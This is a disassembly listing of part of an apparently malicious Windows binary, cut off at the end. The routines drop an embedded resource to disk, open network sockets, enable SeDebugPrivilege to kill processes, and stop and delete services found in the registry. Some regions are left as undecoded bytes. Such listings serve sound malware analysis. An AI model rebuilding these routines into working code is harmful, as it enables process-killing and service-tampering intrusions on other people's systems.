sub_41F960+38j ; sub_41F960+192j mov ecx, [esp+9Ch+var_C] pop esi pop ebp xor eax, eax pop ebx mov large fs:0, ecx add esp, 90h retn sub_41F960 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 70h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41FB90 proc near ; CODE XREF: sub_401AD2j arg_0 = dword ptr 4 mov eax, [esp+arg_0] dec eax jz short loc_41FBCB dec eax jz short loc_41FBB4 dec eax jnz short loc_41FBF1 mov ecx, dword_50DB28 mov dword_50DB0C, 4 call sub_401DE3 jmp short loc_41FBF1 ; --------------------------------------------------------------------------- loc_41FBB4: ; CODE XREF: sub_41FB90+8j mov ecx, dword_50DB28 mov dword_50DB0C, 7 call sub_401028 jmp short loc_41FBF1 ; --------------------------------------------------------------------------- loc_41FBCB: ; CODE XREF: sub_41FB90+5j mov ecx, dword_50DB28 xor eax, eax mov dword_50DB14, eax mov dword_50DB0C, 1 mov dword_50DB1C, eax mov dword_50DB20, eax call sub_40174E loc_41FBF1: ; CODE XREF: sub_41FB90+Bj ; sub_41FB90+22j ... mov eax, dword_50DB2C push offset dword_50DB08 push eax mov dword_50DB0C, 4 nop call near ptr 292062Fh retn 4 sub_41FB90 endp ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_41FC30: ; CODE XREF: ___:loc_401965j push esi xor esi, esi push offset sub_401AD2 mov ecx, offset byte_44990F mov dword_50DB08, 20h mov dword_50DB0C, 2 mov dword_50DB10, 3 mov dword_50DB14, esi mov dword_50DB18, esi mov dword_50DB1C, esi mov dword_50DB20, esi call sub_4017EE push eax call near ptr 29202B8h nop cmp eax, esi mov dword_50DB2C, eax jz short loc_41FCAA push offset dword_50DB08 push eax mov dword_50DB0C, 4 mov dword_50DB1C, esi mov dword_50DB20, esi nop call near ptr 292062Fh loc_41FCAA: ; CODE XREF: ___:0041FC86j pop esi retn 8 ; --------------------------------------------------------------------------- db 2 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41FCD0 proc near ; CODE XREF: sub_401069j push esi mov esi, ecx call sub_401E88 mov dword ptr [esi], offset off_43F068 mov eax, esi pop esi retn sub_41FCD0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41FD00 proc near ; CODE XREF: sub_401CF3j var_110 = dword ptr -110h var_10C = dword ptr -10Ch var_108 = dword ptr -108h var_104 = dword ptr -104h var_100 = byte ptr -100h sub esp, 110h mov dword_50DB28, ecx push 100h mov ecx, offset byte_44990F call sub_4017EE push eax lea eax, [esp+118h+var_100] push eax nop call near ptr 77C47A90h add esp, 0Ch lea edx, [esp+110h+var_110] lea ecx, [esp+110h+var_100] xor eax, eax push edx mov [esp+114h+var_110], ecx mov [esp+114h+var_10C], offset loc_401965 mov [esp+114h+var_108], eax mov [esp+114h+var_104], eax nop call near ptr 2920000h xor eax, eax add esp, 110h retn sub_41FD00 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_41FD80: ; CODE XREF: ___:00401C44j mov eax, [esp+4] push ebx push esi push edi push offset aWb ; "wb" push eax nop call near ptr 77C3F010h mov ebx, eax add esp, 8 test ebx, ebx jnz short loc_41FDA2 pop edi pop esi xor al, al pop ebx retn ; --------------------------------------------------------------------------- loc_41FDA2: ; CODE XREF: ___:0041FD9Aj mov ecx, [esp+18h] push ecx nop call near ptr 28A1CCEh mov esi, eax test esi, esi jnz short loc_41FDB9 pop edi pop esi xor al, al pop ebx retn ; --------------------------------------------------------------------------- loc_41FDB9: ; CODE XREF: ___:0041FDB1j mov edx, [esp+14h] push offset aBinres ; "BINRES" and edx, 0FFFFh push edx push esi nop call near ptr 27A02ABh mov edi, eax test edi, edi jnz short loc_41FDDC pop edi pop esi xor al, al pop ebx retn ; --------------------------------------------------------------------------- loc_41FDDC: ; CODE XREF: ___:0041FDD4j push ebp push edi push esi nop call near ptr 27A0A61h push edi push esi mov ebp, eax nop call near ptr 27B0000h push ebp mov esi, eax call near ptr 27B03C5h nop push ebx push esi push 1 push eax nop call near ptr 77C4173Bh push ebx call near ptr 77C40AB1h nop add esp, 14h mov al, 1 pop ebp pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41FE50 proc near ; CODE XREF: sub_40188Ej arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push esi nop call near ptr 71AB2BF4h cmp eax, 0FFFFFFFFh jnz short loc_41FE78 push esi call near ptr 71AB4FD4h nop test eax, eax jnz short loc_41FE71 or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_41FE71: ; CODE XREF: sub_41FE50+1Aj mov eax, [eax+0Ch] mov ecx, [eax] mov eax, [ecx] loc_41FE78: ; CODE XREF: sub_41FE50+Fj pop esi retn sub_41FE50 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41FE90 proc near ; CODE XREF: sub_401AA0j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 sub esp, 10h push esi push 6 push 1 push 2 nop call near ptr 71AB3B91h mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_41FEAE or eax, eax pop esi add esp, 10h retn ; --------------------------------------------------------------------------- loc_41FEAE: ; CODE XREF: sub_41FE90+15j mov ecx, [esp+14h+arg_4] xor eax, eax mov [esp+14h+var_10], eax push ecx mov [esp+18h+var_C], eax mov word ptr [esp+18h+var_10], 2 mov [esp+18h+var_8], eax mov [esp+18h+var_4], eax call near ptr 71AB2B66h nop mov edx, [esp+14h+arg_0] mov word ptr [esp+14h+var_10+2], ax push edx call sub_40188E add esp, 4 mov [esp+14h+var_C], eax lea eax, [esp+14h+var_10] push 10h push eax push esi nop call near ptr 71AB406Ah cmp eax, 0FFFFFFFFh jnz short loc_41FF0A push esi nop call near ptr 71AB9639h or eax, 0FFFFFFFFh pop esi add esp, 10h retn ; --------------------------------------------------------------------------- loc_41FF0A: ; CODE XREF: sub_41FE90+69j mov eax, esi pop esi add esp, 10h retn sub_41FE90 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41FF50 proc near ; CODE XREF: sub_40198Dj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 sub esp, 10h push esi push 6 push 1 push 2 nop call near ptr 71AB3B91h mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_41FF6E or eax, eax pop esi add esp, 10h retn ; --------------------------------------------------------------------------- loc_41FF6E: ; CODE XREF: sub_41FF50+15j mov ecx, [esp+14h+arg_0] xor eax, eax mov [esp+14h+var_10], eax push ecx mov [esp+18h+var_C], eax mov word ptr [esp+18h+var_10], 2 mov [esp+18h+var_8], eax mov [esp+18h+var_4], eax nop call near ptr 71AB2B66h lea edx, [esp+14h+var_10] push 10h push edx push esi mov word ptr [esp+20h+var_10+2], ax mov [esp+20h+var_C], 0 nop call near ptr 71AB3E00h test eax, eax jz short loc_41FFC0 push esi nop call near ptr 71AB9639h or eax, 0FFFFFFFFh pop esi add esp, 10h retn ; --------------------------------------------------------------------------- loc_41FFC0: ; CODE XREF: sub_41FF50+5Fj mov eax, esi pop esi add esp, 10h retn sub_41FF50 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41FFF0 proc near ; CODE XREF: sub_4012DFj var_10 = byte ptr -10h arg_0 = dword ptr 4 sub esp, 10h push esi mov esi, [esp+14h+arg_0] push 0Ah push esi nop call near ptr 71AB88D3h cmp eax, 0FFFFFFFFh jz short loc_420024 lea eax, [esp+14h+arg_0] lea ecx, [esp+14h+var_10] push eax push ecx push esi mov [esp+20h+arg_0], 10h nop call near ptr 71AC1028h cmp eax, 0FFFFFFFFh jnz short loc_420027 loc_420024: ; CODE XREF: sub_41FFF0+14j or eax, 0FFFFFFFFh loc_420027: ; CODE XREF: sub_41FFF0+32j pop esi add esp, 10h retn sub_41FFF0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_420040 proc near ; CODE XREF: sub_402009j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi mov edi, [esp+8+arg_4] test edi, edi jz short loc_420076 mov esi, [esp+8+arg_0] push 0Ah push esi nop call near ptr 71AB88D3h cmp eax, 0FFFFFFFFh jz short loc_420076 lea eax, [esp+8+arg_4] mov [esp+8+arg_4], 10h push eax push edi push esi nop call near ptr 71AC1028h cmp eax, 0FFFFFFFFh jnz short loc_420079 loc_420076: ; CODE XREF: sub_420040+8j ; sub_420040+1Aj or eax, 0FFFFFFFFh loc_420079: ; CODE XREF: sub_420040+34j pop edi pop esi retn sub_420040 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_420090 proc near ; CODE XREF: sub_401604j var_1128 = dword ptr -1128h var_1124 = byte ptr -1124h var_1112 = byte ptr -1112h var_1110 = dword ptr -1110h var_110C = byte ptr -110Ch var_1108 = byte ptr -1108h var_1104 = byte ptr -1104h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_4 = byte ptr 8 arg_104 = byte ptr 108h arg_110 = byte ptr 114h mov eax, 1114h call sub_437B30 lea eax, [esp+arg_4] lea ecx, [esp+arg_110] push eax push 1000h push ecx mov byte ptr [esp+0Fh], 0 call sub_4382BC ; --------------------------------------------------------------------------- test eax, eax jnz short loc_4200C3 xor al, al add esp, 1114h retn ; --------------------------------------------------------------------------- loc_4200C3: ; CODE XREF: sub_420090+28j mov eax, [esp+0Ch+var_4] shr eax, 2 jz loc_42018D push ebx mov ebx, dword_5117E0 push ebp push esi push edi lea ebp, [esp+1Ch+arg_104] mov [esp+1Ch+var_8], eax loc_4200E5: ; CODE XREF: sub_420090+F3j mov edi, offset aUnknown ; "unknown" or ecx, 0FFFFFFFFh xor eax, eax lea edx, [esp+20h] repne scasb not ecx sub edi, ecx mov eax, ecx mov esi, edi mov edi, edx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb mov ecx, [ebp+0] push ecx push 0 push 411h call ebx mov esi, eax test esi, esi jz short loc_420177 lea edx, [esp+18h] lea eax, [esp+1Ch] push edx push 4 push eax push esi call sub_4382B6 ; --------------------------------------------------------------------------- test eax, eax jz short loc_420170 mov edx, [esp+1144h+var_1128] lea ecx, [esp+1144h+var_1124] push 104h push ecx push edx push esi call sub_4382B0 ; --------------------------------------------------------------------------- db 8Bh, 84h, 24h dd 1128h, 20244C8Dh, 0E8905150h, 778260F2h, 8508C483h dd 500D75C0h, 71E89056h, 0C6023800h, 1132444h ; --------------------------------------------------------------------------- loc_420170: ; CODE XREF: sub_420090+A2j push esi nop call near ptr 2850BF4h loc_420177: ; CODE XREF: sub_420090+8Cj mov eax, dword ptr [esp+1138h+var_1124] add ebp, 4 dec eax mov dword ptr [esp+1138h+var_1124], eax jnz loc_4200E5 pop edi pop esi pop ebp pop ebx loc_42018D: ; CODE XREF: sub_420090+3Aj mov al, byte ptr [esp+1128h+var_1128+3] add esp, 1114h retn sub_420090 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 8 dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4201F0 proc near ; CODE XREF: sub_401A0Aj var_490 = byte ptr -490h var_488 = byte ptr -488h var_482 = byte ptr -482h var_480 = byte ptr -480h var_478 = byte ptr -478h var_468 = dword ptr -468h var_464 = byte ptr -464h var_454 = dword ptr -454h var_450 = dword ptr -450h var_43C = byte ptr -43Ch var_438 = byte ptr -438h var_424 = byte ptr -424h var_420 = byte ptr -420h var_38 = byte ptr -38h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 push 0FFFFFFFFh push offset SEH_4201F0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 44Ch push ebx push esi mov esi, [esp+460h+arg_0] lea ecx, [esp+460h+var_424] push esi call sub_401870 push eax mov [esp+464h+var_4], 0 call sub_401EAB add esp, 4 lea ecx, [esp+460h+var_424] mov bl, al mov [esp+460h+var_4], 0FFFFFFFFh call sub_401226 test bl, bl jz loc_42036A lea ecx, [esp+460h+var_43C] call sub_40142E push esi lea eax, [esp+464h+var_43C] mov ebx, 1 push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Services\\%s" push eax mov [esp+46Ch+var_4], ebx mov [esp+46Ch+var_454], 0 mov [esp+46Ch+var_450], 80h call sub_40102D add esp, 0Ch lea ecx, [esp+460h+var_454] push ecx push 20019h push 0 lea ecx, [esp+46Ch+var_43C] call sub_40168B push eax push 80000002h nop call near ptr 296029Eh mov ecx, [esp+474h+var_468] lea edx, [esp+474h+var_464] lea eax, [esp+474h+var_420] push edx push eax push 0 push 0 push offset aImagepath ; "ImagePath" push ecx call near ptr 2910000h nop lea edx, [esp+0Bh] lea eax, [esp+48Ch+var_438] push edx push eax lea ecx, [esp+494h+var_478] nop call near ptr 76081F67h mov ecx, dword_5119E0 mov [esp+494h+var_38], 2 mov edx, [ecx] lea ecx, [esp+494h+var_480] push edx push offset asc_444AD4 ; "\\" nop call near ptr 76085AE4h inc eax lea ecx, [esp+49Ch+var_488] push eax push 0 call near ptr 760976AFh nop lea ecx, [esp+4A4h+var_490] call near ptr 7608B84Ch nop push eax call sub_401604 ; --------------------------------------------------------------------------- db 83h, 0C4h, 4 dd 24244C8Dh, 0FE1366E8h, 2BE850FFh, 90023D0Ah, 14244C8Dh dd 5C249C88h, 0E8000004h, 75C6F149h, 244C8D90h, 2484C724h dd 45Ch, 0FFFFFFFFh, 0FE0ED5E8h, 5EC38AFFh, 248C8B5Bh dd 44Ch, 0D8964h, 81000000h, 458C4h db 0, 0C3h ; --------------------------------------------------------------------------- loc_42036A: ; CODE XREF: sub_4201F0+5Aj mov ecx, [esp+460h+var_C] pop esi xor al, al pop ebx mov large fs:0, ecx add esp, 458h retn sub_4201F0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 70h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_420400 proc near ; CODE XREF: sub_401EABj var_1C = byte ptr -1Ch arg_0 = dword ptr 4 sub esp, 1Ch push ebx push esi push 0F003Fh push offset aServicesactive ; "ServicesActive" push 0 nop call near ptr 2930926h mov ebx, eax test ebx, ebx jnz short loc_420425 pop esi xor al, al pop ebx add esp, 1Ch retn ; --------------------------------------------------------------------------- loc_420425: ; CODE XREF: sub_420400+1Bj mov ecx, [esp+24h+arg_0] push 0F01FFh call sub_4017EE push eax push ebx nop call near ptr 28D03D8h mov esi, eax test esi, esi jnz short loc_420450 push ebx call near ptr 2940000h nop pop esi xor al, al pop ebx add esp, 1Ch retn ; --------------------------------------------------------------------------- loc_420450: ; CODE XREF: sub_420400+3Fj push ebp push edi mov edi, dword_511748 push esi call edi push esi call edi mov ebp, dword_511744 lea eax, [esp+2Ch+var_1C] push eax push 1 push esi call ebp push esi call edi lea ecx, [esp+2Ch+var_1C] push ecx push 1 push esi call ebp push esi mov esi, dword_511754 call esi push ebx call esi pop edi pop ebp pop esi mov al, 1 pop ebx add esp, 1Ch retn sub_420400 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4204D0 proc near ; CODE XREF: sub_4018B6j var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_14 = dword ptr -14h var_10 = byte ptr -10h arg_0 = dword ptr 4 sub esp, 28h push ebx push ebp push esi lea eax, [esp+34h+var_28] push edi xor esi, esi push eax push esi push 28h xor bl, bl mov [esp+44h+var_24], 10h nop call near ptr 27A0187h push eax call near ptr 28F14ACh nop mov ebp, dword_511720 mov edi, dword_5118E0 test eax, eax jnz short loc_420520 lea ecx, [esp+38h+var_28] push ecx push 28h nop call near ptr 27A01BFh push eax nop call near ptr 28F1AC3h test eax, eax jz short loc_42057F loc_420520: ; CODE XREF: sub_4204D0+36j cmp [esp+38h+var_28], esi jz short loc_420583 lea edx, [esp+38h+var_1C] mov [esp+38h+var_20], 1 push edx push offset aSedebugprivile ; "SeDebugPrivilege" push esi mov [esp+44h+var_14], 2 call near ptr 2900000h nop lea eax, [esp+38h+var_24] lea ecx, [esp+38h+var_10] push eax mov eax, [esp+3Ch+var_28] push ecx lea edx, [esp+40h+var_20] push 10h push edx push esi push eax call ebp test eax, eax jz short loc_420578 nop call near ptr 27D0990h cmp eax, 514h jnz short loc_420583 mov ecx, [esp+38h+var_28] push ecx jmp short loc_42057D ; --------------------------------------------------------------------------- loc_420578: ; CODE XREF: sub_4204D0+92j mov edx, [esp+38h+var_28] push edx loc_42057D: ; CODE XREF: sub_4204D0+A6j call edi loc_42057F: ; CODE XREF: sub_4204D0+4Ej mov [esp+38h+var_28], esi loc_420583: ; CODE XREF: sub_4204D0+54j ; sub_4204D0+9Fj mov eax, [esp+38h+arg_0] push eax push esi push 411h nop call near ptr 2710000h mov esi, eax test esi, esi jz short loc_4205A8 push 0 push esi nop call near ptr 27A01DCh push esi mov bl, 1 call edi loc_4205A8: ; CODE XREF: sub_4204D0+C8j mov eax, [esp+38h+var_28] test eax, eax jz short loc_4205C7 push 0 push 0 lea ecx, [esp+40h+var_10] push 10h push ecx push 0 push eax call ebp mov edx, [esp+38h+var_28] push edx call edi loc_4205C7: ; CODE XREF: sub_4204D0+DEj pop edi pop esi mov al, bl pop ebp pop ebx add esp, 28h retn sub_4204D0 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_420630 proc near ; CODE XREF: sub_4011D6j var_68 = dword ptr -68h var_54 = byte ptr -54h var_4C = dword ptr -4Ch var_3C = byte ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_28 = byte ptr -28h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = byte ptr -4 arg_F4 = byte ptr 0F8h arg_100 = byte ptr 104h arg_10C4 = dword ptr 10C8h arg_10D0 = dword ptr 10D4h arg_1104 = dword ptr 1108h arg_1118 = dword ptr 111Ch mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_420630 push eax mov eax, 1130h mov large fs:0, esp call sub_437B30 push esi push offset aPsapi_dll ; "PSAPI.DLL" nop call near ptr 28A1CCEh test eax, eax mov dword_50DB30, eax jnz short loc_42067C push offset aPsapi_dll ; "PSAPI.DLL" nop call near ptr 27F088Ah test eax, eax mov dword_50DB30, eax jz loc_4207FA loc_42067C: ; CODE XREF: sub_420630+32j mov esi, dword_511918 push offset aEnumprocesses ; "EnumProcesses" push eax call esi mov dword_50DB34, eax mov eax, dword_50DB30 push offset aEnumprocessmod ; "EnumProcessModules" push eax call esi mov ecx, dword_50DB30 push offset aGetmodulefilen ; "GetModuleFileNameExA" push ecx mov dword_50DB38, eax call esi mov ecx, dword_50DB34 mov dword_50DB3C, eax test ecx, ecx jz loc_4207FA mov edx, dword_50DB38 test edx, edx jz loc_4207FA test eax, eax jz loc_4207FA lea edx, [esp+30h+var_28] lea eax, [esp+30h+arg_100] push edx push 1000h push eax call ecx test eax, eax jz loc_4207FA mov ecx, dword ptr aUnknown ; "unknown" mov eax, dword ptr aUnknown+4 mov edx, [esp+3Ch+var_34] push edi mov [esp+40h+var_C], ecx mov [esp+40h+var_8], eax mov ecx, 3Fh mov eax, 0 lea edi, [esp+40h+var_4] shr edx, 2 rep stosd jz loc_4207E1 push ebx mov ebx, [esp+44h+arg_1104] push ebp mov ebp, dword_5117E0 lea edi, [esp+48h+arg_F4] mov [esp+48h+var_38], edx loc_42073F: ; CODE XREF: sub_420630+1A9j mov ecx, [edi] push ecx push 0 push 410h call ebp mov esi, eax test esi, esi jz short loc_4207CD lea edx, [esp+54h+var_38] lea eax, [esp+54h+var_3C] push edx push 4 push eax push esi call dword_50DB38 test eax, eax jz short loc_4207C6 mov edx, [esp+64h+var_4C] lea ecx, [esp+64h+var_28] push 104h push ecx push edx push esi call dword_50DB3C lea ecx, [esp+74h+var_54] call sub_401875 lea eax, [esp+74h+var_38] lea ecx, [esp+74h+var_54] push eax mov [esp+78h+arg_10D0], 0 call sub_4015E1 mov ecx, [edi] lea edx, [esp+74h+var_54] mov [esp+35h], ecx push edx mov ecx, ebx call sub_402185 ; --------------------------------------------------------------------------- lea ecx, [esp+74h+var_54] mov [esp+74h+arg_10D0], 0FFFFFFFFh call sub_401A82 loc_4207C6: ; CODE XREF: sub_420630+136j push esi nop call near ptr 2850BF4h loc_4207CD: ; CODE XREF: sub_420630+11Fj mov eax, [esp+78h+var_68] add edi, 4 dec eax mov [esp+78h+var_68], eax jnz loc_42073F pop ebp pop ebx loc_4207E1: ; CODE XREF: sub_420630+EFj pop edi mov al, 1 pop esi mov ecx, [esp+68h+arg_10C4] mov large fs:0, ecx add esp, 113Ch retn ; --------------------------------------------------------------------------- loc_4207FA: ; CODE XREF: sub_420630+46j ; sub_420630+8Cj ... mov ecx, [esp+18h+arg_1118] xor al, al pop esi mov large fs:0, ecx add esp, 113Ch retn sub_420630 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 80h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4208A0 proc near ; CODE XREF: sub_401875j push esi mov esi, ecx call sub_40142E mov eax, esi pop esi retn sub_4208A0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4208C0 proc near ; CODE XREF: sub_401A82j jmp sub_401226 sub_4208C0 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4208E0 proc near ; CODE XREF: sub_402162j var_518 = byte ptr -518h var_514 = dword ptr -514h var_510 = dword ptr -510h var_50C = dword ptr -50Ch var_508 = dword ptr -508h var_504 = dword ptr -504h var_500 = dword ptr -500h var_4FC = dword ptr -4FCh var_4F8 = byte ptr -4F8h var_4E4 = dword ptr -4E4h var_4E0 = dword ptr -4E0h var_4DC = dword ptr -4DCh var_4D8 = dword ptr -4D8h var_4D4 = dword ptr -4D4h var_4D0 = dword ptr -4D0h var_4CC = dword ptr -4CCh var_4C8 = dword ptr -4C8h var_4C4 = dword ptr -4C4h var_4C0 = dword ptr -4C0h var_4BC = dword ptr -4BCh var_4B8 = dword ptr -4B8h var_4B4 = dword ptr -4B4h var_4B0 = dword ptr -4B0h var_4AC = dword ptr -4ACh var_4A8 = dword ptr -4A8h var_4A4 = dword ptr -4A4h var_4A0 = dword ptr -4A0h var_49C = dword ptr -49Ch var_498 = dword ptr -498h var_494 = dword ptr -494h var_490 = dword ptr -490h var_48C = dword ptr -48Ch var_488 = dword ptr -488h var_484 = dword ptr -484h var_480 = dword ptr -480h var_47C = dword ptr -47Ch var_478 = dword ptr -478h var_474 = dword ptr -474h var_470 = dword ptr -470h var_46C = dword ptr -46Ch var_468 = dword ptr -468h var_464 = dword ptr -464h var_460 = dword ptr -460h var_45C = dword ptr -45Ch var_458 = dword ptr -458h var_454 = dword ptr -454h var_450 = dword ptr -450h var_44C = dword ptr -44Ch var_448 = dword ptr -448h var_444 = dword ptr -444h var_440 = dword ptr -440h var_43C = dword ptr -43Ch var_438 = dword ptr -438h var_430 = byte ptr -430h var_41C = byte ptr -41Ch var_408 = byte ptr -408h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_4 = dword ptr 8 push 0FFFFFFFFh push offset SEH_4208E0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 50Ch push ebx push ebp xor ebx, ebx push 80000000h push ebx push ebx nop call near ptr 2930926h mov ebp, eax cmp ebp, ebx mov [esp+520h+var_500], ebp jnz short loc_42092F pop ebp xor al, al pop ebx mov ecx, [esp+518h+var_C] mov large fs:0, ecx add esp, 518h retn ; --------------------------------------------------------------------------- loc_42092F: ; CODE XREF: sub_4208E0+34j push esi push edi lea ecx, [esp+528h+var_4FC] mov [esp+528h+var_4E4], offset aAudiosrv ; "AudioSrv" mov [esp+528h+var_4E0], offset aBrowser ; "Browser" mov [esp+528h+var_4DC], offset aCryptsvc ; "CryptSvc" mov [esp+528h+var_4D8], offset aDhcp ; "Dhcp" mov [esp+528h+var_4D4], offset aDmserver ; "dmserver" mov [esp+528h+var_4D0], offset aDnscache ; "Dnscache" mov [esp+528h+var_4CC], offset aErsvc ; "ERSvc" mov [esp+528h+var_4C8], offset aEventlog ; "Eventlog" mov [esp+528h+var_4C4], offset aEventsystem ; "EventSystem" mov [esp+528h+var_4C0], offset aFastuserswitch ; "FastUserSwitchingCompatibility" mov [esp+528h+var_4BC], offset aHelpsvc ; "helpsvc" mov [esp+528h+var_4B8], offset aLanmanserver ; "lanmanserver" mov [esp+528h+var_4B4], offset aLanmanworkstat ; "lanmanworkstation" mov [esp+528h+var_4B0], offset aLmhosts ; "LmHosts" mov [esp+528h+var_4AC], offset off_44530C mov [esp+528h+var_4A8], offset aMessenger ; "Messenger" mov [esp+528h+var_4A4], offset aNetman ; "Netman" mov [esp+528h+var_4A0], offset off_4452F4 mov [esp+528h+var_49C], offset aPlugplay ; "PlugPlay" mov [esp+528h+var_498], offset aPolicyagent ; "PolicyAgent" mov [esp+528h+var_494], offset aProtectedstora ; "ProtectedStorage" mov [esp+528h+var_490], offset aRasman ; "RasMan" mov [esp+528h+var_48C], offset aRpcss ; "RpcSs" mov [esp+528h+var_488], offset aSamss ; "SamSs" mov [esp+528h+var_484], offset aSchedule ; "Schedule" mov [esp+528h+var_480], offset aSeclogon ; "seclogon" mov [esp+528h+var_47C], offset aSens ; "SENS" mov [esp+528h+var_478], offset aShellhwdetecti ; "ShellHWDetection" mov [esp+528h+var_474], offset aSpooler ; "Spooler" mov [esp+528h+var_470], offset aSsdpsrv ; "SSDPSRV" mov [esp+528h+var_46C], offset aStisvc ; "stisvc" mov [esp+528h+var_468], offset aTapisrv ; "TapiSrv" mov [esp+528h+var_464], offset aTermservice ; "TermService" mov [esp+528h+var_460], offset aTrkwks ; "TrkWks" mov [esp+528h+var_45C], offset aUploadmgr ; "uploadmgr" mov [esp+528h+var_458], offset aUpnphost ; "upnphost" mov [esp+528h+var_454], offset aW32time ; "W32Time" mov [esp+528h+var_450], offset aWebclient ; "WebClient" mov [esp+528h+var_44C], offset aWinmgmt ; "winmgmt" mov [esp+528h+var_448], offset aWzcsvc ; "WZCSVC" mov [esp+528h+var_444], offset aWuauserv ; "wuauserv" mov [esp+528h+var_440], offset aSrservice ; "srservice" mov [esp+528h+var_43C], offset aThemes ; "Themes" mov [esp+528h+var_438], ebx mov [esp+528h+var_510], ebx call sub_40142E lea eax, [esp+528h+var_510] lea ecx, [esp+528h+var_514] mov esi, dword_511718 push eax lea edx, [esp+52Ch+var_518] push ecx push edx lea eax, [esp+534h+var_41C] push ebx push eax push 1 push 30h push ebp mov [esp+548h+var_4], ebx mov [esp+548h+var_50C], ebx mov [esp+548h+var_504], 80h call esi mov ecx, [esp+524h+var_514] push ecx nop call near ptr 77C2C407h add esp, 4 mov edi, eax lea edx, [esp+524h+var_50C] lea eax, [esp+524h+var_510] push edx mov edx, [esp+528h+var_514] lea ecx, [esp+528h+var_514] push eax push ecx push edx push edi push 1 push 30h push ebp call esi mov eax, [esp+524h+var_510] mov [esp+524h+var_504], ebx cmp eax, ebx jbe loc_420C8F mov ebp, dword_511764 loc_420B6B: ; CODE XREF: sub_4208E0+3A5j mov eax, offset aAudiosrv ; "AudioSrv" test eax, eax jz short loc_420B97 lea esi, [esp+524h+var_4E0] loc_420B78: ; CODE XREF: sub_4208E0+2B5j mov ecx, [edi] push ecx push eax nop call near ptr 77C4624Eh add esp, 8 test eax, eax jz loc_420C73 mov eax, [esi+4] add esi, 4 cmp eax, ebx jnz short loc_420B78 loc_420B97: ; CODE XREF: sub_4208E0+292j mov edx, [edi] lea eax, [esp+524h+var_4F8] push edx push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Services\\%s" push eax call sub_40102D add esp, 0Ch lea ecx, [esp+524h+var_508] push ecx push 20019h push ebx lea ecx, [esp+530h+var_4F8] call sub_40168B push eax push 80000002h call ebp cmp eax, ebx jz short loc_420BE3 mov edx, [edi] lea eax, [esp+524h+var_4F8] push edx push offset aS????_exeUnkno ; "[%s] [????.exe] (Unknown key)" push eax call sub_40102D add esp, 0Ch jmp short loc_420C3A ; --------------------------------------------------------------------------- loc_420BE3: ; CODE XREF: sub_4208E0+2EAj mov eax, [esp+524h+var_508] lea ecx, [esp+524h+var_500] lea edx, [esp+524h+var_408] push ecx push edx push ebx push ebx push offset aImagepath ; "ImagePath" push eax nop call near ptr 2910000h cmp eax, ebx jz short loc_420C1D mov ecx, [edi] lea edx, [esp+524h+var_4F8] push ecx push offset aS????_exe ; "[%s] [????.exe]" push edx call sub_40102D add esp, 0Ch jmp short loc_420C3A ; --------------------------------------------------------------------------- loc_420C1D: ; CODE XREF: sub_4208E0+324j mov ecx, [edi] lea eax, [esp+524h+var_408] push eax push ecx lea edx, [esp+52Ch+var_4F8] push offset aSS ; "[%s] [%s]" push edx call sub_40102D add esp, 10h loc_420C3A: ; CODE XREF: sub_4208E0+301j ; sub_4208E0+33Bj lea eax, 